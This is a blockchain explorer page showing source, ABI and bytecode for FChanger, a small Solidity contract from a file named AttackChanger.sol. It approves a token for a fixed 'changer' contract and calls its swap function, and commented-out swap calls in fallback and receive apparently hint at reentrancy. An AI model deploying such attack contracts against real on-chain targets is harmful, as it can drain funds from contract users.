Transactions
Token Transfers
Tokens
Internal Transactions
Coin Balance History
Code
Read Contract
Write Contract
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
- Contract name:
- FChanger
- Optimization enabled
- false
- Compiler version
- v0.8.19+commit.7dd6d404
- EVM Version
- default
- Verified at
- 2024-07-11T11:52:21.278518Z
contracts/AttackChanger.sol
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface IChanger { function swap(uint256) external; } interface IERC20 { function approve(address, uint256) external; } contract FChanger { address public token = 0x325636945A819DE3a693d827CCFb693C8da4048C; address public changer = 0x6B63819Bc417eB4D23b040e735cb98763453Ed17; fallback() external payable { // IChanger(changer).swap(0.365 ether); } receive() external payable { // IChanger(changer).swap(0.365 ether); } function ff() external { IERC20(token).approve(changer, 2e19); IChanger(changer).swap(0.365 ether); } }
Compiler Settings
{"outputSelection":{"*":{"*":["abi","evm.bytecode","evm.deployedBytecode","evm.methodIdentifiers","metadata","storageLayout"],"":["ast"]}},"optimizer":{"runs":200,"enabled":false},"libraries":{}}
Contract ABI
[{"type":"fallback","stateMutability":"payable"},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"changer","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"ff","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"token","inputs":[]},{"type":"receive","stateMutability":"payable"}]
Contract Creation Code
0x608060405273325636945a819de3a693d827ccfb693c8da4048c6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736b63819bc417eb4d23b040e735cb98763453ed17600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100b957600080fd5b506103a7806100c96000396000f3fe6080604052600436106100385760003560e01c806311b0ea1614610041578063667d31681461006c578063fc0c546a146100835761003f565b3661003f57005b005b34801561004d57600080fd5b506100566100ae565b6040516100639190610288565b60405180910390f35b34801561007857600080fd5b506100816100d4565b005b34801561008f57600080fd5b50610098610223565b6040516100a59190610288565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801158e460913d000006040518363ffffffff1660e01b815260040161015a9291906102f2565b600060405180830381600087803b15801561017457600080fd5b505af1158015610188573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b81526004016101ef9190610356565b600060405180830381600087803b15801561020957600080fd5b505af115801561021d573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061027282610247565b9050919050565b61028281610267565b82525050565b600060208201905061029d6000830184610279565b92915050565b6000819050919050565b6000819050919050565b6000819050919050565b60006102dc6102d76102d2846102a3565b6102b7565b6102ad565b9050919050565b6102ec816102c1565b82525050565b60006040820190506103076000830185610279565b61031460208301846102e3565b9392505050565b6000819050919050565b600061034061033b6103368461031b565b6102b7565b6102ad565b9050919050565b61035081610325565b82525050565b600060208201905061036b6000830184610347565b9291505056fea26469706673582212202e4864d6e72b7df81af55c5007ce069ca2f6e7a99637f0feac6cc00e2ad7b2ed64736f6c63430008130033
Deployed ByteCode
0x6080604052600436106100385760003560e01c806311b0ea1614610041578063667d31681461006c578063fc0c546a146100835761003f565b3661003f57005b005b34801561004d57600080fd5b506100566100ae565b6040516100639190610288565b60405180910390f35b34801561007857600080fd5b506100816100d4565b005b34801561008f57600080fd5b50610098610223565b6040516100a59190610288565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166801158e460913d000006040518363ffffffff1660e01b815260040161015a9291906102f2565b600060405180830381600087803b15801561017457600080fd5b505af1158015610188573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b918de670510bd90ef0480006040518263ffffffff1660e01b81526004016101ef9190610356565b600060405180830381600087803b15801561020957600080fd5b505af115801561021d573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061027282610247565b9050919050565b61028281610267565b82525050565b600060208201905061029d6000830184610279565b92915050565b6000819050919050565b6000819050919050565b6000819050919050565b60006102dc6102d76102d2846102a3565b6102b7565b6102ad565b9050919050565b6102ec816102c1565b82525050565b60006040820190506103076000830185610279565b61031460208301846102e3565b9392505050565b6000819050919050565b600061034061033b6103368461031b565b6102b7565b6102ad565b9050919050565b61035081610325565b82525050565b600060208201905061036b6000830184610347565b9291505056fea26469706673582212202e4864d6e72b7df81af55c5007ce069ca2f6e7a99637f0feac6cc00e2ad7b2ed64736f6c63430008130033